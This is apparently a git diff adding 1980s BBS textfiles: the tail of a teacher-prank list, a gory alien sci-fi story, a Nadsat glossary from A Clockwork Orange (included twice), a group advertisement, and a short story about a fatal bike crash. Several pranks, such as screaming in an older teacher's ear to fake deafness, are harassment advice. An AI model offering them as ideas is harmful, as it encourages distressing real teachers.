consistent bad jokes? Well, then rate them! +Give everyone in the class 10 signs reading from 1-10 and every time the +teacher cracks a joke, simply hold up the card, rating the teacher. The +only thing that should get a rating above 3 is if the teacher drops some- +thing, staples himself, or does some other unintentional funny act. (This +was told to me by The Gemini Daredevil) A variation of this is to bring in +a gong, and gong every bad joke the teacher makes. I have a science teacher +who is very fond of joking. And that usually silences him. But only for +a moment. + +7. When you are forced to read out loud in English, are you told to "speak +up"?? Well, when told that, simply *YELL* out the words as loud as humanly +possible... + +8. Yet another phun thing to do is, on cue, everyone drops their books at +the same time. This really drives the teacher insane. Before entering +class, just say "OK, at 10:00 exactly, everyone drop their books". And then +go for it. + +9. Is your teacher a bit on the old side? Well, this trick takes planning, +timing, and a good straight face. The plan is to make the teacher think he/ +she is going deaf. First of all, a student comes up and screams in this +teacher's ear. Then, the room goes silent. Someone raises their hand. The +teacher will probably call on them. This student then starts to ask a +question, not making a sound, but simply moving his mouth. Meanwhile, some +of the other students begin to hqve silent conversations, again lip-synching +them. If there is a TV in the room, turn the volume all the way down & then +turn it on. Continue to ask lip-synched questions of the teacher. Pretend +to yell. By now the teacher will be going absolutely mad! Then, at a signal, +suddenly everyone shouts as *LOUD* as they can. This will so shock the +teacher he will be out of it for the next week. + +10. Ah, yes, but now we come to my final and most phun trick to play! You +say your teacher has left the room? And left the keys in the room? Well, +everyone picks up their stuff and leaves. The lights are turned off and +the door is *LOCKED*. The students then vanish, go visit friends, cut +class completely, or hang around to watch. You will watch the poor helpless +teacher come striding up, turn the knob and...stop. He will look a bit +sheepish as he turns the knob harder. Then he will quietly knock on the +door. Then he will knock louder. After this being to no avail, he will +seek out yet another teacher who has the key to the room. Watch his look +of surprise when he opens the door jubilantly and finds..............nothing! + +...Well, there you have it, 10 ways to drive teachers insane. Thanks to +some creative Piedmont Hills High and Fremont High students. + +...This has been a Connection Presentation (Subdivision:VOID department) in +cooperation with Rebel Alliance Industries... + +...Presented in full by Princess Leia Organa...C)1984 No rights reserved! + +<*> Call the Death Star! New Modz! <*> + 408-268-4630 + +<*> ...The Twilight Zone...<*> + 408-253-2140 + +...fare thee well... + + +------------------------------------------------------------------------------- + _ ___ _ the _ _ __ P>rogressive U>nderground + And as this textfile | ||__ \ | | | | | ||_ \ D>issidents + rolls off the screen, | | __) )| | | | | | \ \ 3 1 3 - 4 3 3 - 3 1 6 4 + you realize instantly | ||___/ | | | | | | ) ) 300/1200 Baud + the place to get more | | | |___| | | | _/ / 20 Megs of TextFiles + like it.. |_| \_____/ |_||__/ SysOp: Mr. Pez + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/chak.txt b/textfiles.com/groups/ANARCHYINC/chak.txt new file mode 100644 index 00000000..a32f2a96 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/chak.txt @@ -0,0 +1,115 @@ + + + + + - - - - - - - - - - - - - - - - - + - - - - - - - + - - - - - - - + Anarchy, inc. ..Presents you with...... + - - - - - - - + - - - - - - - + - - - - - - - - - - - - - - - - - + + + A rather unusual monograph... + + C H A K : T H E U N S P E A K A B L E + by Someone Else + + + Frothing at the armpit in extreme discomfort, Chak the Unspeakable +noisily farted, filling the already unbreathable air with a foul smelling +ammonia compound. Its body slowly metamorphosing into a dull yellow with +embarassment, a pseudopod equipped with bulging eyeballs extended itself to +check the reaction of its subservients. Good; not a one outwardly seemed to +notice, other than an occasional expulsion of half-digested foodstuffs from +the stomach on to the floor, which promptly absorbed it. As if with a mind of +its own, a bluish-purple mass connected to the body by a thin white tube, +dripping lightish-green mucous (which of course, the floor promptly absorbed), +unconcernedly continued to busy itself, slurping away on a grayish half-liquid +soup of human brain tissue and bone marrow squirted up from a nearby feeding +node; completely oblivious to the occurrence. + Goo, foul-smelling and purplish, dribbled down from an open panel in the +ceiling and collected into a reeking puddle of jello, which promptly congealed +into a massive purple brainlike structure. Optic nerves were constructed, +olfactory apparatus made, vocal cords built; it could now see, smell, and +talk, even though it still exuded yellow cranial fluid all over the hungry +floor and generally looked and smelled like digested lunch left in the large +intestine. + "Gods, the smell! Who farted?" The menials, detaching eyeballs from +their various tasks, looked at one another in a combination of fear and secret +humor. Chak turned the color of stale urine in embarassment once again. The +latest arrival in the room lost its control and melted down into a puddle of +glop, this time brown. Moving fast to keep from getting sucked under by the +floor, it took almost thirty seconds to reconstruct the vocal apparatus again, +and when it did, its voice bristled with rage. + "You! You'll be demoted for that, I promise! Now where are the lab +results you promised me four hours ago?" + Chak sputtered, spraying the room with sticky salivary fluid. "I...I +don't know, sir, they're still in the lab. I'll have them hurry up if you +wish, sir." + A tentacle burst out of the purple brain-like thing on the floor, grabbed +a nearby cutting tool, and severed Chak's feeding tube with an audible tearing +sound. Gray muck sprayed the floor. The mass of flesh, once the part of Chak +feeding on the human brain tissue, piteously whined for a few seconds, then +flopped over, turning black and splitting open, digestive ichor and intestine +spilling out over the control panel and floor. Chak threw up. + Alarm bells rang, the bridge of the starship hummed into activity. + "What is it?" the brain cried out. + One of the menials, arms and tentacles extended to operate the scanning +controls, answered the question. + "We're tracking an intruding spacecraft, human design. They +are...unaware of us, sir." + "Good. Our antidetection setup is working, then. Follow them, see what +they're up to. They may be a private craft, but we don't know that." + Chak managed to heal himself by now, sealing off the offending feeding +tube leaking a mixture of bone marrow, brain tissue, and excrement. Another +node soon began growing. + "You, Chak, call engineering and get a crew ready. We're going to dock +in a couple of days." + + Toxic green smoke and the smell of rotting garbage filled the air as +several large sacks of rotten ground beef searched the darkened corridors for +the remaining two human crew members, untouched in the initial invasion. As +this was to have been their sleep period, they had been cut off and left in +ignorance when the ship was boarded and taken captive. They were, however, +not sleeping. They had felt the jarring collision and knew they were being +boarded, so they holed up in the armory, preparing for a fight. + The first two had been captured quite easily, as they were in the control +room, and wore only their sidearms. A short gunbattle and they now stood +immobile, encased in stasis fields. + Chak flopped in, fouling the air to smog alert status, burbling to +himself in a businesslike manner and actually doing his equivalent of laughing +when he saw the two humans in stasis. A feeding head started dripping +digestive enzymes on the floor (eating through it) until one of his tentacles +bashed it in the mouth. It retracted itself and Chak was then able to give +orders. One of his subservients was stupid enough, however, to speak first. + "We got 'em all, master. What shall we do now?" + The luckless wight exploded, coating the walls and ceiling with barbecued +shit. Chak holstered his blaster. + "Why is everyone so stupid around here? Vessels like these carry crews +of four." He pointed to two others. "You and you go find them. Check the +armory first, that is, if you can find it." + The two in the armory were duly found and reinforcements called up, as +the humans were ready for them. In the furious gunbattle that followed, Chak +executed another of his officers for accidentally killing one of the enemy. + "Idiot! I want them ALIVE!" + The other one was encased in a stasis field and Chak, hungry after an +exciting battle, made his way over to the fallen human and extended a small +tentacle, equipped on the tip with a small octopus-like sucker. Attaching +itself firmly to the eyeball, Chak unconsciously applied a small amout of +pressure to his appendage. With a faint pop the whitish globe emerged, +trailing an inch or two of optic nerve. A stronger yank seperated this from + the brain. His officers watched in rapt fascination and ill-concealed en +vy as +he placed it near his feeding mouth, which snapped at it with a surprising +ferocity. In silence, he finished off the eyes, drilled through the skull, +and started scooping out the brain. The rest of it, including the testicles +(in spite of everything, he was in a good mood), he left for the others. + +(c) 1986 Anarchy, Inc. + "The Textfile People..." + + + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/clockorg.hum b/textfiles.com/groups/ANARCHYINC/clockorg.hum new file mode 100644 index 00000000..2f1404f2 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/clockorg.hum @@ -0,0 +1,323 @@ + + ------------ + Anarchy inc. .. presents .. + ------------ + + +[A CLOCKWORK ORANGE] Glossary of NADSAT Language +Compiled and typed in by: The Stranger (...Harrison) + +Reprinted without permission from the novel "A Clockwork Orange", by Anthony +Burgess (c) 1962 - All rights reserved. + +Perhaps the most fascinating thing about the book (A CLOCKWORK ORANGE) is it's +language. Alex thinks and talks in the "nadsat" (teenage) vocabulary of the +future. A doctor in the book explains it. "Odd bits of old rhyming sland," +he says. "A bit of gypsy talk, too. But most of the roots are Slav. +Propaganda. Subliminal penetration." Nadsat is not quite so hard to +decipher as Cretan Linear B, and Alex translates it. I found that I could not +read the book without compiling a glossary; I reprint it here, although it +is entirely unauthorized, and some of it is guesswork. + +At first the vocabulary seems incomprehensible: "you could peet it with +vellocet or synthemesc or drencrom or one or two other veshches." Then the +reader, even if he knows no Russian, discovers that some of the meaning is +clear from context: "to tolchock some old veck in an alley and viddy him +swim in his blood." Other words are intelligible after a second context: +when Alex kicks a fallen enemy on the "gulliver" it might be any part of the +body, but when a glass of beer is served with a gulliver, "gulliver" is head. +(Life is easier, of course, for those who know the Russian word golova.) + +Anthony Burgess has not used Russian words mechanically, but with great +ingenuity, as the transformation into "gulliver," with its Swiftian associates, +suggests. Others are brilliantly anglicized: khorosho (good or well) as +"horrowshow"; iudi (people) as "lewdies"; militsia (militia or police) as +millicents. Burgess has not used Russian words in an American slang extension, +such as nadsat itself, in the termination of the Russian numbers eleven to +nineteen, which he breaks off independently on the analogy of our "teen". Thus +kopat (to dig with a shovel) is used as "dig" in the sense of enjoy or under- +stand; koshka (cat) and ptitsa (bird) become the hip "cat" and "chick"; +neezhny (lower) turns into "neezhnies" (underpants); pooshka (cannon) becomes +the term for a pistol; rozha (grimace) turns into "rozz", one of the words +for policeman; samyi (the most) becomes "sammy" (generous); soomka (bag) is the +slang "ugly woman"; vareet (to cook up) is also used in the slang sense, for +something preparing or transpiring. + +The "gypsy talk", I would guess, includes Alex's phrase "O my brothers", and +"crark" (to yowl?), "cutter" (money), "filly" (to fool with), and such. +The rhyming slang includes "luscious glory" or "hair" (rhyming with "upper +story"?) and "pretty polly" for "money" (rhyming with "lolly" or current slang) +Others are inevitable associations, such as "cancer" for "cigarette" and +"charlie" for "chaplain". Others are produced simply by schoolboy transforma- +tions: "appy polly loggy" (apology), "baddiwad" (bad), "eggiweg" (egg), +"skolliwoll" (school), and so forth. Others are amputations: "guff" (guffaw), +"pee and em" (pop and mom), "sarky" (sarcastic), "sinny" (cinema). Some +appear to be portmanteau words: "chumble" (chatter-mumble), "mounch" (mouth- +munch), "shive" (shiv-shave), "skirking" (striking-scratching). + +There are slight inconsistencies in the story when Alex forgets his word and +invents another or uses our word, but on the whole he handles his Russianate +vocabulary in a masterly fashion. It has a wonderful sound, particularly in +abuse, when "grahzny bratchny" sounds infinitely better than "dirty bastard". + +[The above material was re-printed without permission from the AFTERWORD from +A CLOCKWORK ORANGE. It is condensed as to save wear-and-tear on my fingers.] + + Stanley Edgar Hyman + July, 1963 + + +GLOSSARY OF NADSAT LANGUAGE + +Words that don't seem to be of Russian origin are distinguished by asterisks. + +* appy polly loggy - apology + baboochka - old woman + baddiwad - bad + banda - band + bezoomny - mad + biblio - library + bitva - battle + Bog - God + bolnoy - sick + bolshy - big, great + brat, bratty - brother + bratchny - bastard + britva - razor + brooko - belly + brosay - to throw + bugatty - rich + cal - feces +* cancer - cigarette + cantora - office + carman - pocket + chai - tea +* charles, charlie - chaplain + chasha - cup + chasso - guard + cheena - woman + cheest - to wash + chelloveck - person, man, follow + chepooka - nonsense + choodessny - wonderful +* chumble - to mumble + clop - beak + collocoll - bell +* crack - to break up or "bust" +* crark - to yowl? + crast - to rob or steal; robbery + creech - to shout or scream +* cutter - money + dama - lady + ded - old man + deng - money + devotchka - girl + dobby - good +* dook - trace, ghost + domy - house + dorogoy - dear, valuable + dratsing - fighting +* drencrom - drug + droog - friend (ie: my droogies) +* dung - to defecate + dva - two + eegra - game + eemya - name +* eggiweg - egg +* filly - to play or fool with +* firegold - drink +* fist - to punch +* flip - wild? + forella - "trout" + gazetta - newspaper + glazz - eye + gloopy - stupid +* golly - unit of money + goloss - voice + goober - lip + gooly - to walk + gorlo - throat + govorett - to speak or talk + grahzny - dirty + grazzy - soiled + gromky - loud + groody - breast + gruppa - group +* guff - guffaw + gulliver - head +* gulliwuts - guts +* hen-korm - chickenfeed +* horn - to cry out + horrorshow - good, well +* in-out in-out - copulation + interessovat - to interest + itty - to go +* jammiwam - jam + jeezny - life + kartoffel - potato + keeshkas - guts + kleb - bread + kootch - key + knopka - button + kopat - to "dig" + koshka - cat + kot - tomcat + krovvy - blood + kupet - to buy + lapa - paw + lewdies - people +* lighter - crone? + litso - face + tomtick - piece, bit + loveted - caught + lubbilubbing - making love +* luscious glory - hair + malchick - boy + malenky - little, tiny + malso - butter + merzky - filthy + messel - thought, fancy + mesto - place + millicent - policeman + minoota - minute + molodoy - young + moloko - milk + moodge - man + morder - snout +* mounch - snack + mozg - brain + nachinat - to begin + nadmenny - arrogant + nadsat - teenage + nagoy - naked +* nazz - fool + neezhnies - underpants + nochy - night + noga - foot, leg + nozh - knife + nuking - smelling + oddy knocky - lonesome + odin - one + okno - window + oobivat - to kill + ookadeet - to leave + ooko - ear + oomny - brainy + oozhassny - terrible + oozy - chain + osoosh - to wipe + otchkies - eyeglasses +* pan-handle - erection +* pee and em - parents + peet - to drink + pischcha - food + platch - to cry + platties - clothes + pletcho - shoulder + plenny - prisoner + plesk - splash +* plosh - to splash + plott - body + podooshka - pillow + pol - sex + polezny - useful +* polyclef - skeleton key + pony - to understand + poogly - frightened + pooshka - "cannon" + prestoopnik - criminal + privodeet - to lead somewhere +* pretty polly - money + prod - to produce + ptitsa - "chick" + pyahnitsa - drunk + rabbit - work, job + radosty - joy + raskazz - story + rassoodock - mind + raz - time + razdraz - upset + razrez - to rip, ripping + rock, rooker - hand, arm + rot - mouth + rozz - policeman + sabog - shoe + sakar - sugar + sammy - generous +* sarky - sarcastic + scotenna - "cow" + shaika - gang +* sharp - female + sharries - buttocks + shest - barrier +* shilarny - concern +* shive - slice + shiyah - neck + shlem - helmet +* shlaga - club + shlapa - hat + shoom - noise + shoot - fool +* sinny - cinema + shazat - to say +* skolliwoll - school + skorry - quick, quickly +* shriking - scratching + shvat - to grab + sladky - sweet + sloochat - to happen + sloosh, slosshy - to hear, to listen + slovo - word + smech - laugh + smot - to look + sneety - dream +* snoutie - tobacco? +* snuff it - to die + sobirat - to pick up +* sod - to fornicate, fornicator + soomaka - "bag" + soviet - advice, order + spat - to sleep + spatchka - sleep +* splodge, splosh - splash +* spoogy - terrified +* Staja - State Jail + starry - ancient + strack - horror +* synthemesc - drug + tally - waist +* tashtook - handkerchief +* tass - cup + tolchock - to hit or push;blow, beating + toofles - slippers + tree - three + vareet - to "cook up" +* vaysay - washroom + veck - (see chelloveck) +* vellocet - drug + veshch - thing + viddy - to see or look + voloss - hair + von - smell + vred - to harm or damage + yahma - hole +* yahoodies - Jews + yabzick - tongue +* yarbles - testicles + yeckate - to drive +* warble - song + zammechat - remarkable + zasnoot - sleep + zhenna - wife + zoobies - teeth + zvonock - bellpull + zvook - sound + +Editor's note: The idea of this text-file is so people can print this +------------- glossary out, without having to tear apart the book. Some + of us live by this movie.. + +4/1/86 - Anarchy inc.(tm) All Rights Reserved. + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/clockorg.txt b/textfiles.com/groups/ANARCHYINC/clockorg.txt new file mode 100644 index 00000000..83f2f41e --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/clockorg.txt @@ -0,0 +1,340 @@ + + ------------ + Anarchy inc. .. presents .. + ------------ + + +[A CLOCKWORK ORANGE] Glossary of NADSAT Language +Compiled and typed in by: The Stranger (...Harrison) + +Reprinted without permission from the novel "A Clockwork Orange", by Anthony +Burgess (c) 1962 - All rights reserved. + +Perhaps the most fascinating thing about the book (A CLOCKWORK ORANGE) is it's +language. Alex thinks and talks in the "nadsat" (teenage) vocabulary of the +future. A doctor in the book explains it. "Odd bits of old rhyming sland," +he says. "A bit of gypsy talk, too. But most of the roots are Slav. +Propaganda. Subliminal penetration." Nadsat is not quite so hard to +decipher as Cretan Linear B, and Alex translates it. I found that I could not +read the book without compiling a glossary; I reprint it here, although it +is entirely unauthorized, and some of it is guesswork. + +At first the vocabulary seems incomprehensible: "you could peet it with +vellocet or synthemesc or drencrom or one or two other veshches." Then the +reader, even if he knows no Russian, discovers that some of the meaning is +clear from context: "to tolchock some old veck in an alley and viddy him +swim in his blood." Other words are intelligible after a second context: +when Alex kicks a fallen enemy on the "gulliver" it might be any part of the +body, but when a glass of beer is served with a gulliver, "gulliver" is head. +(Life is easier, of course, for those who know the Russian word golova.) + +Anthony Burgess has not used Russian words mechanically, but with great +ingenuity, as the transformation into "gulliver," with its Swiftian associates, +suggests. Others are brilliantly anglicized: khorosho (good or well) as +"horrowshow"; iudi (people) as "lewdies"; militsia (militia or police) as +millicents. Burgess has not used Russian words in an American slang extension, +such as nadsat itself, in the termination of the Russian numbers eleven to +nineteen, which he breaks off independently on the analogy of our "teen". Thus +kopat (to dig with a shovel) is used as "dig" in the sense of enjoy or under- +stand; koshka (cat) and ptitsa (bird) become the hip "cat" and "chick"; +neezhny (lower) turns into "neezhnies" (underpants); pooshka (cannon) becomes +the term for a pistol; rozha (grimace) turns into "rozz", one of the words +for policeman; samyi (the most) becomes "sammy" (generous); soomka (bag) is the +slang "ugly woman"; vareet (to cook up) is also used in the slang sense, for +something preparing or transpiring. + +The "gypsy talk", I would guess, includes Alex's phrase "O my brothers", and +"crark" (to yowl?), "cutter" (money), "filly" (to fool with), and such. +The rhyming slang includes "luscious glory" or "hair" (rhyming with "upper +story"?) and "pretty polly" for "money" (rhyming with "lolly" or current slang) +Others are inevitable associations, such as "cancer" for "cigarette" and +"charlie" for "chaplain". Others are produced simply by schoolboy transforma- +tions: "appy polly loggy" (apology), "baddiwad" (bad), "eggiweg" (egg), +"skolliwoll" (school), and so forth. Others are amputations: "guff" (guffaw), +"pee and em" (pop and mom), "sarky" (sarcastic), "sinny" (cinema). Some +appear to be portmanteau words: "chumble" (chatter-mumble), "mounch" (mouth- +munch), "shive" (shiv-shave), "skirking" (striking-scratching). + +There are slight inconsistencies in the story when Alex forgets his word and +invents another or uses our word, but on the whole he handles his Russianate +vocabulary in a masterly fashion. It has a wonderful sound, particularly in +abuse, when "grahzny bratchny" sounds infinitely better than "dirty bastard". + +[The above material was re-printed without permission from the AFTERWORD from +A CLOCKWORK ORANGE. It is condensed as to save wear-and-tear on my fingers.] + + Stanley Edgar Hyman + July, 1963 + + +GLOSSARY OF NADSAT LANGUAGE + +Words that don't seem to be of Russian origin are distinguished by asterisks. + +* appy polly loggy - apology + baboochka - old woman + baddiwad - bad + banda - band + bezoomny - mad + biblio - library + bitva - battle + Bog - God + bolnoy - sick + bolshy - big, great + brat, bratty - brother + bratchny - bastard + britva - razor + brooko - belly + brosay - to throw + bugatty - rich + cal - feces +* cancer - cigarette + cantora - office + carman - pocket + chai - tea +* charles, charlie - chaplain + chasha - cup + chasso - guard + cheena - woman + cheest - to wash + chelloveck - person, man, follow + chepooka - nonsense + choodessny - wonderful +* chumble - to mumble + clop - beak + collocoll - bell +* crack - to break up or "bust" +* crark - to yowl? + crast - to rob or steal; robbery + creech - to shout or scream +* cutter - money + dama - lady + ded - old man + deng - money + devotchka - girl + dobby - good +* dook - trace, ghost + domy - house + dorogoy - dear, valuable + dratsing - fighting +* drencrom - drug + droog - friend (ie: my droogies) +* dung - to defecate + dva - two + eegra - game + eemya - name +* eggiweg - egg +* filly - to play or fool with +* firegold - drink +* fist - to punch +* flip - wild? + forella - "trout" + gazetta - newspaper + glazz - eye + gloopy - stupid +* golly - unit of money + goloss - voice + goober - lip + gooly - to walk + gorlo - throat + govorett - to speak or talk + grahzny - dirty + grazzy - soiled + gromky - loud + groody - breast + gruppa - group +* guff - guffaw + gulliver - head +* gulliwuts - guts +* hen-korm - chickenfeed +* horn - to cry out + horrorshow - good, well +* in-out in-out - copulation + interessovat - to interest + itty - to go +* jammiwam - jam + jeezny - life + kartoffel - potato + keeshkas - guts + kleb - bread + kootch - key + knopka - button + kopat - to "dig" + koshka - cat + kot - tomcat + krovvy - blood + kupet - to buy + lapa - paw + lewdies - people +* lighter - crone? + litso - face + tomtick - piece, bit + loveted - caught + lubbilubbing - making love +* luscious glory - hair + malchick - boy + malenky - little, tiny + malso - butter + merzky - filthy + messel - thought, fancy + mesto - place + millicent - policeman + minoota - minute + molodoy - young + moloko - milk + moodge - man + morder - snout +* mounch - snack + mozg - brain + nachinat - to begin + nadmenny - arrogant + nadsat - teenage + nagoy - naked +* nazz - fool + neezhnies - underpants + nochy - night + noga - foot, leg + nozh - knife + nuking - smelling + oddy knocky - lonesome + odin - one + okno - window + oobivat - to kill + ookadeet - to leave + ooko - ear + oomny - brainy + oozhassny - terrible + oozy - chain + osoosh - to wipe + otchkies - eyeglasses +* pan-handle - erection +* pee and em - parents + peet - to drink + pischcha - food + platch - to cry + platties - clothes + pletcho - shoulder + plenny - prisoner + plesk - splash +* plosh - to splash + plott - body + podooshka - pillow + pol - sex + polezny - useful +* polyclef - skeleton key + pony - to understand + poogly - frightened + pooshka - "cannon" + prestoopnik - criminal + privodeet - to lead somewhere +* pretty polly - money + prod - to produce + ptitsa - "chick" + pyahnitsa - drunk + rabbit - work, job + radosty - joy + raskazz - story + rassoodock - mind + raz - time + razdraz - upset + razrez - to rip, ripping + rock, rooker - hand, arm + rot - mouth + rozz - policeman + sabog - shoe + sakar - sugar + sammy - generous +* sarky - sarcastic + scotenna - "cow" + shaika - gang +* sharp - female + sharries - buttocks + shest - barrier +* shilarny - concern +* shive - slice + shiyah - neck + shlem - helmet +* shlaga - club + shlapa - hat + shoom - noise + shoot - fool +* sinny - cinema + shazat - to say +* skolliwoll - school + skorry - quick, quickly +* shriking - scratching + shvat - to grab + sladky - sweet + sloochat - to happen + sloosh, slosshy - to hear, to listen + slovo - word + smech - laugh + smot - to look + sneety - dream +* snoutie - tobacco? +* snuff it - to die + sobirat - to pick up +* sod - to fornicate, fornicator + soomaka - "bag" + soviet - advice, order + spat - to sleep + spatchka - sleep +* splodge, splosh - splash +* spoogy - terrified +* Staja - State Jail + starry - ancient + strack - horror +* synthemesc - drug + tally - waist +* tashtook - handkerchief +* tass - cup + tolchock - to hit or push;blow, beating + toofles - slippers + tree - three + vareet - to "cook up" +* vaysay - washroom + veck - (see chelloveck) +* vellocet - drug + veshch - thing + viddy - to see or look + voloss - hair + von - smell + vred - to harm or damage + yahma - hole +* yahoodies - Jews + yabzick - tongue +* yarbles - testicles + yeckate - to drive +* warble - song + zammechat - remarkable + zasnoot - sleep + zhenna - wife + zoobies - teeth + zvonock - bellpull + zvook - sound + +Editor's note: The idea of this text-file is so people can print this +------------- glossary out, without having to tear apart the book. Some + of us live by this movie.. + +Further Notes: Bit of the 'ol Ultraviolence, fellow droogies? + Muahaha{tan them eyeballs}ahahahaha{tan them eyeballs}ahaha! + + - Dr. Murdock + +4/1/86 - Anarchy inc.(tm) All Rights Reserved. + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open +. + ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + Ý° THE HOLLOW'S ALLIANCE °Þ + Ý°  Tfile Distribution Center / MASS Megs  °Þ + Ý° 415/236/2371 RoR - Alucard 415/236/2371 °Þ + Ý° Dr. Murdock ~ Sir Death ~ Dark Nite ~ RatSnatcher ~ Pressed Rat°Þ + Ý°Shawn-Da-Lay Boy Production Inc. The Electric Pub : 415/236/4380°Þ + Ý°°°°° The Gates of Hell are open Night and Day; °°°°°Þ + ݱ±± Ø Smooth is the Descent and Easy is the Way Ø ±±±Þ + ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + + + diff --git a/textfiles.com/groups/ANARCHYINC/clutter.hum b/textfiles.com/groups/ANARCHYINC/clutter.hum new file mode 100644 index 00000000..52c31f1f --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/clutter.hum @@ -0,0 +1,48 @@ + + + ------------ + Anarchy inc. ...presents... + ------------ ->) The Art of ClUtTer (<- + An advertisement for Anarchy inc. by The Daredevil + + Ever wanted to have -YOUR- ae line cluttered? Ever wanted to add a +touch of class to your ae line? Well, then you're reading the right (write) +text-file! Yes, we here at Anarchy inc. are more than happy to help you with +your need for clutter. We have to offer you: + + Anarchy inc. text-files! + Wow! Excitement! Yes, you will have such illustrious text-files +to choose from, such as: + "How to Have Fun In K-Mart" + "Are YOU a Modem Geek?" + "The Life and Times of Matt Ackeret" + "101 things to do with a Dead Ackeret" + "How to Forge At&t Cards" + "The Lord Omega School of Terrorism" + "Sexual Preferences of Users We All Know Well..." + "Nothing." + + ...and much, much more... + + So, if you EVER feel the need for clutter, amusement, or kinky sex, + Anarchy inc. is here. So you can serve us. + +[This advertisement was paid for by The VanCo Associates, but they don't know + that...So don't tell them...] + + Anarchy inc. "We take care of our own." founded in 1984 + The Daredevil, The Moon Roach, Havoc The Chaos, Ruby Tuesday, The Sheik, + Lord Omega, Dark Shadow, Surf Rat, Teeny Bopper, A Modem User, D.B. Cooper, + Pleasure Victim, Alexander of Atlantis, The Anarchist, Ron S. VanZuylen + Torqa Dun, Someone Else... +..dD + + +------------------------------------------------------------------------------- + _ ___ _ the _ _ __ P>rogressive U>nderground + And as this textfile | ||__ \ | | | | | ||_ \ D>issidents + rolls off the screen, | | __) )| | | | | | \ \ 3 1 3 - 4 3 3 - 3 1 6 4 + you realize instantly | ||___/ | | | | | | ) ) 300/1200 Baud + the place to get more | | | |___| | | | _/ / 20 Megs of TextFiles + like it.. |_| \_____/ |_||__/ SysOp: Mr. Pez + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/comeonma.hum b/textfiles.com/groups/ANARCHYINC/comeonma.hum new file mode 100644 index 00000000..48169b51 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/comeonma.hum @@ -0,0 +1,118 @@ + ------------ + Anarchy inc. + ------------ + .. presents .. + + He stepped out of the shower, and onto the cold floor, silently cursing +himself for not bringing a towel in to act as a bathmat. The bathroom was +tiled, and cold, a shiver ran over him. He toweled off quickly, and looked into +the mirror. His hair stuck off into many different directions. After combing +it straight, and blow-drying it, he looked a little more normal. George still +had some acne left on his cheek, and a small (ugly) scar on his chin. A moan +came from behind the door. + + He opened it, and Mallorie was just waking up. "She's a bitch to live with, +I'll tell ya" was a common phrase from George. He walked out, and climbed into +a pair of sweatpants. Mallorie spoke. "Goddamnit, you with your hair-dryer +woke me up. Today was my day to sleep in, fer christ sake." George shook his +head, and said nothing. "Have some respect for the dead." she flopped back into +the over-sized bed, pulling the sheets over her head. George grabbed his helmet +and walked out. + + The refrigerator was one of those small-bar types, but they couldn't afford +anything else. He drank what was left of a carton of orange juice ("Tastes like +shit in the morning, everything does") and slammed the door behind him when he +left. "You were a lousy fuck!", Mallorie shouted, somewhat in jest. + + "Bitch." he said under his breath. + + George lost his lincense when he was 24, and hadn't been behind the wheel of a +car since. He had a ten-speed, that was good enough. "I paid $240 for the +thing, it better be good enough." he would say. "Insurance rates are too high, +anyway." Sure, George. + + He climbed onto the bike, and sailed down the driveway slowly, past the other +apartments. He looked down at his digital watch, which had beeped, telling him +it was 7:00 am. He rode on, down the street, past the 7-11 on the corner, and +the gas station, and began the big climb over the overpass. It was steep, +because highway 35 wasn't all that inset into the ground. George rode on. + + He made it to the top. He let the bike glide, and pedaled backwards, feeling +the chain threat through it's course. Together, they picked up speed, and began +the quick, short ride down the overpass. That's when he first saw the Ford +Pinto. + + Jean Imahara was not a happy lady. With three kids, a demanding husband, and +an infant that had spilled chocolate milk all over the backseat of the car, this +added up to putting the lady in a bad mood. She drove quickly, and forced the +car to speed up the overpass. The child in the backseat gurgled. "Shut up." +she said. The baby gurgled again, not understanding. That's when she saw the +bicyclist. + +------ + + George looked up, slowly. A numbness was creeping up his back, laying into +his face. Everything was one-dimensional, he noticed. What a pain to only have +one eye, he though. One eye? No, the blood just hardened, I have two. I hope. +Funny, I can't move my arms. That's a nice tree, a ginko tree, if I remember +correctly. How do you spell 'remember'? R-E-M-E-M-E-M Hahahaha. + +------ + + George had been riding too far out in the road, or the Pinto had been too +close to the bike lane. She struck the side of George's bike, sending George to +tumble over the hood. He didn't say much, but she was certain she had hurt him. +Another car, travelling the same way, tried to brake, but ended up running over +George's hand. George didn't protest, he was dead to the world. Jean screeched +the car to a halt, and cried. + + George looked around, slowly. He couldn't hear the sirens, or the screaming. +He didn't know his leg was broken in two places. He only saw the lady. She was +standing out of the chaos, off to the side, wearing only a cloak. A scynthe was +by her side. She walked, slowly, to George, and kneeled next to him. + +------ + + "Pretty bad, George, looking pretty bad." she said. She was beautiful. Blond +hair spilled from under the dark hood. Her skin was clear, and smooth. He +wanted to kiss her, nothing more. He didn't feel the pain. "Want to come with +me? Fuck all this noise?" + + George just kept staring. + + "Kiss me." she said. George moved forward, and she moved down. + + They kissed, pressing their lips together. He could do nothing. George +closed his eyes and enjoyed it, taking it all in. After a half-minute had gone +by, he slowly opened one eye. + + Her face was melting. The skin slid off like scrambled eggs onto a breakfast +plate. It bubbled and oozed, revealing her true self. A white skull was there, +grinning at George. + + George laughed. Then he felt the pain. He felt the fractured skull, the +compound fracture in his left arm, the bones in his legs crushed, the hand and +the scar on his forehead, the bruises and hairline cracks all over. George +screamed. + + He laughed, as Death took him. + +------ + + "And they started to fly ... + She had taken his hand ... + Come on, Mary, + Don't fear the reaper..." + + - Blue Oyster Cult + +Written by The Stranger (...Harrison) on 4/4/86. + +------------------------------------------------------------------------------- + the Progressive Underground + Although I haven't ||||||\\ ||| ||| |||||\\ Dissidents + heard from him, ||| )))||| ||| ||| \\\ 3 1 3 - 4 3 3 - 3 1 6 4 + maybe this file's 